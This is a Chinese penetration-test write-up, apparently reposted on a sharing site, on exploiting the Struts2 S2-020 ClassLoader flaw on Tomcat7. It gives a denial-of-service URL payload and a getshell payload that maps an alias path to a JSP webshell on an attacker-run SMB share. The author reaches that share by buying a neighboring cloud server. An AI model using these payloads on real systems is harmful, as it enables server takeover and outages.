打开APP
userphoto
未登录

开通VIP,畅享免费电子书等14项超值服

开通VIP
在云环境下Tomcat7存在Struts2-020 如何get-shell

前言:离职ing,哪位大佬收人呀,本人能干,少吃,体力好!!!在一次给某甲方做模拟攻击中发现某网站存在Struts2-020,但是中间件是tomcat7不能直接getshell

1.      Struts2-020漏洞原理

  Objectjava的基础类,所有的class生成的对象,都会继承Object的所有属性和方法,因此当前action无论是什么代码,必须有Object自带的getClass方法,这个方法会返回一个Class对象,Class对象又一定会有getClassLoader方法,最终在每个action都可以操控classStruts2-020允许访问直接映射到“getClass()”方法的“class”参数 ,这可以被利用来操纵所使用的应用程序服务器的ClassLoader。简而言之就是可以通过ClassLoader操控Tomcat的一些配置属性,这个漏洞在Tomcat8下是可以getshell的。如下图为tomcat8部分可控属性

Tomcat8如何getshell在网上一大堆这里就不演示了,大概步骤如下

  1. 更改Tomcat log为可执行文件,更改log文件名,更改日志路径至web目录下

  2. 初始化日志文件

  3. 通过URL访问,在日志中写入一句话

  4. 菜刀连接一句话成功getshell

2.Tomcat7如何getshell

一开始以为struts2-010tomcat下都能getshell,疯狂操作下一直失败,百度后才知道tomcat7无法操控日志属性。只能重定向web目录造成拒绝服务攻击。

拒绝服务攻击:

http://127.0.0.1/s/example/HelloWorld.action?class.classLoader.resources.dirContext.docBase=”乱填就好”

但是只挖到一个拒绝服务攻击无法向甲方交差呀,甲方交不了差,老板就不高兴,老板不高兴,我的绩效考核危矣。拒绝服务攻击更是不敢打,上次模拟攻击把甲方服务打瘫了,最后一个外包也离我而去了。

2.1本地枯燥调试

无奈之下只能在本地搭建环境把所有可操控的属性枚举出来。

把一个个属性试过去,看是否能利用的,挨个简单更改属性值后通过日志和变化来判断,发现并不能getshell,当我正要放弃的时候脑子里飘过一个红色的身影,亲切地对我说没有攻不破的系统,只有不努力的黑客。瞬间斗志满满!!!

2.2谷歌大法好

谷歌作为技术人员的好朋友,碰到技术问题谷歌就对了,一顿搜索之后在一篇老毛子写的文章中写到class.classLoader.parent.resources.dirContext.aliases不仅仅可以任意文件读取,文件路径是支持UNC path的即smb路径。这时候我就想既然支持SMB路径,搞个文件共享时候能执行命令?只要把文件共享设置为eve任何人可以访问就可以让网站读取到可执行文件,指不定就能执行了!!!

2.3本地搭建SMB服务并测试

搭建过程操作不难,在文件共享中放入一句话木马,再把网站的别名路径映射到SMB服务器。

Payload:

http://127.0.0.1:8080/struts2-blank/hello.action?class.classLoader.parent.resources.dirContext.aliases=\\192.168.1.1\muma.jsp

本地菜刀一连成功连接:

3. 云环境测试

因为目标是在云环境上,众所周知云环境大部分都是不对外开放445端口的。但是通过信息收集发现所在目标是在一个野鸡云环境上,因为之前接触过几家野鸡云服务器厂商,他们C段的445端口是互通的。我就在想这家厂商是否也存在这样的配置漏洞?

3.1金钱的力量

本来想在C段撸下一台服务器作为SMB服务器的,但是作为正义的白帽子怎么能做此等龌龊的事?只能把方案提出来,提交到上级申请经费。最后以目标IP旁边的某个IP数字吉利为由通过客服1.5倍的价格买下了目标相邻的服务器,最终发现的确存在配置不当。C段的445端口可以相互访问从而Getshell成功。

写在最后:

网站渗透很少有一个POC或者EXP直接打穿的,遇到难题多思考,多搜索。不要放弃,不断尝试,尝试着尝试着就成功了。

本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请点击举报
打开APP,阅读全文并永久保存 查看更多类似文章
猜你喜欢
类似文章
【热】打开小程序,算一算2024你的财运
Struts2 最简教程
struts2.2.+spring2.5+hibernate3.2实践整合成功
回头看Jboss配置项CatchSystemOut、Java2ClassLoadingCompliance、UseJBossWebLoader
有人知道为什么MyEclipse 调试时一开始就进入到ClassLoader.class里边???该怎么解决?
tomcat热部署的实现原理
JAVA读取文件的两种方法:JAVA.IO和JAVA.LANG.CLASSLOADER
更多类似文章 >>
生活服务
热点新闻
分享 收藏 导长图 关注 下载文章
绑定账号成功
后续可登录账号畅享VIP特权!
如果VIP功能使用有故障,
可点击这里联系客服!

联系客服